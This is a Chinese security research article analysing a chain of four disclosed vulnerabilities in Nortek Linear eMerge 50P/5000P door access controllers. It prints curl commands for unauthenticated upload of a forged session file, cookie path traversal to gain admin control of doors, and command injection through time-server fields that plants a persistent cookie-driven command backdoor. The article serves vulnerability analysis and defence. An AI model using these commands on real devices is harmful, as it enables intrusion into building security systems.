原创 | 漏洞组合拳劫持门禁控制系统

  • A+
所属分类:逆向工程

作者 | 海康威视

一、引言

1.1.  门禁控制系统简介

电影《碟中碟4》的开篇,为了创造机会营救搭档亨特,班吉入侵了监狱网络中心,打开所有的囚室大门,企图制造混乱。电影所描绘的场景,就是一次针对门禁控制系统的定向攻击。门禁控制系统(Access Control System)基于近场通信、生物识别等技术手段,实现智能化的身份识别和访问控制,是实现重要出入口安防管理的有效手段。作为楼宇智能化的重要组成,门禁控制系统已经在酒店、银行、学校、医院、智能小区,商用写字楼等场所被广泛使用。

1.2.  智能化与安全威胁

传统的门禁控制系统采用有线通信的方式,在万物互联的大趋势下,门禁控制系统也开始拥抱互联网、物联网、云计算等技术,逐步具备越来越多智能信息系统的特性。伴随着技术手段的演进,原本只在智能信息系统中才会面临的安全威胁也被引入进来。就在今年1月,有攻击者通过CVE-2019-7256攻击Nortek Linear E3 Series门禁控制系统,试图组建DDOS僵尸网络(截止到本文写作时,组建该僵尸网络的攻击行为依然在互联网中活跃)。
攻击者使用的漏洞CVE-2019-7256,来自于荷兰安全公司Applied Risk在2019年11月公开的漏洞报告[1]。报告中分析了漏洞可能造成的影响,其中就包括用于组建DDOS僵尸网络,如图 1‑1所示:
原创 | 漏洞组合拳劫持门禁控制系统
1‑1 Applied Risk报告对漏洞影响的预测

1.3.  被忽视的漏洞

Applied Risk公开这份报告的原因之一,是漏洞并没有得到相关厂商的重视。在联系厂商修复无果后,Applied Risk被迫选择公开漏洞信息,期望能提醒相关设备的用户,他们正在面临的威胁。值得注意的是,报告公开了5款楼宇控制相关产品的数十个漏洞,影响互联网上数万台设备的安全性。今年1月份被利用的CVE-2019-7256只是这些漏洞中利用门槛较低的一个,未来可能有更复杂、更大规模的针对这些漏洞的恶意软件或攻击行为发生。
Nortek LineareMerge 50P/5000P是美国Nortek Security & Control公司的一款门禁控制系统。在此次Applied Risk报告中披露了这款设备的4个中低危漏洞,单个漏洞的利用价值都不高,但报告中通过巧妙组合这4个漏洞,实现了从认证绕过到持久化后门。这种变废为宝的挖掘和利用思路很有研究学习价值。本文对这四个漏洞的原理、利用方法和影响面进行了详细介绍(由于目前尚存在大量受漏洞影响的设备,因此我们对漏洞利用细节进行了脱敏处理,文中列出的所有代码只聚焦于漏洞原理介绍,无法直接用于真实攻击)。
二、组合漏洞实现认证绕过
本节首先介绍理解漏洞原理必须了解的服务端机制,然后分别介绍Cookie目录穿越漏洞和未认证的文件上传漏洞,最后介绍组合两个漏洞实现认证绕过的方法。

2.1.  会话机制

用户登录eMerge 50P/5000P的Web管理后台时,会创建一个10位数字会话ID,并写入cookie作为登录凭据,cookie格式如下所示:
.sessionId=2724660275
会话相关信息会存储在一个会话文件中,存储路径位于“/usr/local/s2/sessions”,会话文件的文件名就是会话ID,比如上述cookie对应的会话文件就是“/usr/local/s2/sessions/2724660275“。

2.2.  会话文件格式

会话文件的大小是固定的1088字节,文件存储了大量信息包括会话ID,用户名,用户角色,会话的登录IP,会话何时被创建等等。其中最重要的信息包括:
  • 会话的登录IP:以字符串形式存储在文件偏移264字节的位置;
  • 会话的登录时间戳:以4字节小端整型的形式存储在文件偏移1080字节的位置,会话有效时间是一个小时。

2.3.  CGI脚本的认证机制

服务端的业务逻辑代码位于“/usr/local/s2/web/cgi-bin/“目录下,这个目录包含大量Python和bash脚本,我们可以通过访问“/cgi-bin/*.cgi”这样的URL调用这些脚本。大部分的脚本都会调用一个名为“cgichecksession”的可执行文件,检查会话的合法性。下面是“testldap_form.cgi”脚本在执行主体逻辑前校验会话合法性的代码片段:
01:#!/bin/sh02:# testldap_form.cgi03:04:. /usr/local/s2/scripts/setvars05:. $scriptdir/cgichecksession

2.4.  Cookie目录穿越漏洞

Cookie中存储的会话ID指向一个会话文件,会话ID和会话文件的映射使用简单的路径拼接实现,导致存在目录穿越漏洞,路径拼接的代码片段如下图 2‑1所示:
原创 | 漏洞组合拳劫持门禁控制系统
2‑1打开会话文件的代码片段
借助这个漏洞,用户可以通过修改cookie,让服务端尝试读取文件系统中任意文件的1088字节,作为会话文件。下面的例子尝试越权访问会话ID为2724660275的会话文件:
.sessionId=../sessions/2724660275
这个漏洞单独来看只是一个低危漏洞,必须满足非常苛刻的条件,才能实现认证绕过,利用条件包括:
1)设备上存在未过期的活跃会话;
2)攻击者能够获取会话ID;
其中获取会话ID是比较困难的,可能需要结合XSS漏洞,此外条件1)使得这个漏洞的利用场景非常受限。

2.5.  未认证的文件上传漏洞

可能是由于开发人员的失误,并不是所有的CGI脚本都正确地进行了会话合法性校验。“uplsysupdate.cgi”是没有进行会话合法性校验的脚本之一。这个脚本用于上传后缀名为“upg”的固件升级包,上传的升级包文件会暂存在“/usr/local/s2/web/upload/system”这个路径下。也就是说我们可以在无须认证的情况下,上传一个内容可控的文件到指定路径下。
这个漏洞单独来看只是一个中危漏洞,虽然实现了未授权的文件上传,但无法直接用于获取权限,并且后缀名和上传路径还受到限制。

2.6.  实现认证绕过

上述两个漏洞单独利用的价值都不大,然而我们将它们组合利用,却可以实现认证绕过,具体步骤如下所示:
( 1 ) 首先我们构造一个以“upg”作为后缀名的会话文件,并修改登录IP和登录时间戳;
2 ) 然后使用2.5节提到的文件上传漏洞将会话文件上传到服务端,如下所示:
$ curl -s -F [email protected]${VULN_HOST}/cgi-bin/uplsysupdate.cgi
3 ) 最后使用2.3节提到的目录穿越漏洞,将cockie中的会话ID指向我们上传的会话文件,就可以以管理员权限执行各类操作了,如下命令尝试锁上ID为5的门禁:
$ curl -s --cookie ".sessionId=../web/upload/system/backup.upg"${VULN_HOST}/portal/
lock/ --data "id=5&allPartitions=false&csrft=<token>"
至此,一个低危漏洞结合一个中危漏洞,实现了认证绕过,产生了高危漏洞的效果。
三、组合漏洞实现持久化后门
本节分别介绍了一个文件上传漏洞和一个命令注入漏洞,最后介绍如何组合这两个漏洞实现持久化后门。需要指出的是,这两个漏洞必须在绕过认证的前提下才能触发,因此需要基于上一节的认证绕过才能实现对这两个漏洞的利用。

3.1.  校验不完全导致文件上传漏洞

eMerge 50P/5000P使用一个“Person”对象来存储门禁卡用户的信息,其中包括用户的照片。管理员可以上传后缀名为常规图片后缀的文件,但是上传接口并没有对文件内容进行校验,上传的文件被存储在“/usr/local/s2/web/upload/pics”路径下。上传文件的命令示例如下所示:
$ curl -s --cookie".sessionId=$SESSION_ID" -F "csrft=$CSRF_TOKEN" -F "person=31337" -F "[email protected]" ${VULN_HOST}/person/upload/
这个漏洞单独看只是一个低危漏洞,需要认证才能实现文件上传,而且上传路径和后缀名也受到了限制。

3.2.  受限的命令注入漏洞

在设置时间同步服务器的接口处存在命令注入,受影响的配置项包括“timeserver1”、“timeserver2”和“timeserver3”三处POST请求参数。比如攻击者将“timeserver1”设置成“www.tst.com`whoami`”,在保存设置后“timeserver1”会变成“www.tst.comroot”,说明命令“whoami”成功执行了。但是这里的命令注入是受限的,因为这几个POST请求参数都有长度限制,且不接受空格。
这个漏洞单独看是一个中危漏洞,可以实现受限的命令注入,但是由于不能接受空格和长度限制,让这个漏洞的利用场景非常受限。

3.3.  实现持久化后门

我们注意到按照正常的设置流程,在配置完时间同步服务器后,需要重启设备来应用新的设置。而新的设置会在设备启动阶段被解析和配置。基于这些条件,我们结合上述的两个漏洞,可以实现将受限命令注入转变为一个持久化的后门,具体步骤如下所示:
1 ) 首先我们构造一个名为“shell.jpg”的恶意脚本,构造过程如下所示:
$ echo "cp/usr/local/s2/web/cgi-bin/websrunning.cgi /usr/local/s2/web/cgi-bin/websr
unnings.cgi"> shell.jpg$ echo 'sed -i '"'"'s/echo"OK"/A='$HTTP_COOKIE';printf "$A"/'"'"'/usr/local/s2/web/cgi-bin/websrunnings.cgi' >> shell.jpg
“shell.jpg”将“webrunning.cgi”脚本复制了一份命名为“webrunings.cgi”,并将原来脚本中打印“OK”回显的部分替换为将cookie当作命令执行并打印执行结果。
2 ) .然后使用3.1节提到的文件上传漏洞将“shell.jpg”上传;
3 ) 最后使用3.2节提到的受限命令注入漏洞,解析执行我们上传的恶意脚本,并重启系统,如下所示:
$ curl -s${VULN_HOST}/goform/saveS2ConfVals --cookie ".sessionId=$SESSION_ID"--data
"timeserver1=a.a$(bash</usr/local/s2/web/upload/pics/shell.jpg)[.....]"$ curl -s --cookie ".sessionId=$SESSION_ID"${VULN_HOST}/goform/restarts2Conf
至此,我们只需要通过访问“/cgi-bin/webrunnings.cgi”触发脚本,并在cookie中设置我们要执行的命令,就可以实现交互式的命令执行。并且由于配置项在每次开机时都会解析,因此相当于一个持久化的后门,只要配置项不删除,设备重启也不会影响后门的存活。
四、总结

4.1.  漏洞影响和安全建议

通过Zoomeye对设备指纹进行检索,发现公网暴露的Nortek Linear eMerge 50P/5000P设备有数百台,主要位于北美地区,如下所示:
原创 | 漏洞组合拳劫持门禁控制系统
图 4‑1 Nortek Linear eMerge 50P/5000P设备全球分布(Zoomeye)
使用Shodan检索得到了相近的结果,如下所示:
原创 | 漏洞组合拳劫持门禁控制系统
图 4‑2 Nortek Linear eMerge 50P/5000P设备全球分布(Shodan)
由于目前NortekSecurity & Control官方并没有发布任何安全更新,无法通过更新固件对漏洞进行修复。因此这些暴露在公网的设备都非常危险,建议用户不要将Web管理后台映射到公网,降低被攻击的风险。

4.2.  思路总结

组合两个低危漏洞和两个中危漏洞(后两个漏洞利用的前提是实现认证绕过)最终实现了持久化的后门。看似不可思议,事实上是有迹可循的。目录穿越漏洞,事实上实现了任意文件读,文件上传漏洞实现了指定文件写。在漏洞利用链的构造中,数据读写原语的构造是非常有价值的。事实上很多复杂的攻击手法,都会构造类似的利用链,在巧妙的漏洞组合中,低危漏洞可能发挥出乎意料的作用。因此在漏洞挖掘和漏洞修复工作中,我们面对低危漏洞也不应掉以轻心,尤其是涉及文件读写、数据读写、内存读写这样的漏洞,它们可能是打开潘多拉魔盒的一把钥匙。

参考文献

1.Applied Risk,I Own Your Building Management System[EB/OL], https://applied-risk.com/resources/i-own-your-building-management-system, 2019-11-11/2020-02-28

转载请注明来源:网络安全应急技术国家工程实验室
原创 | 漏洞组合拳劫持门禁控制系统

本文始发于微信公众号(网络安全应急技术国家工程实验室):原创 | 漏洞组合拳劫持门禁控制系统

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: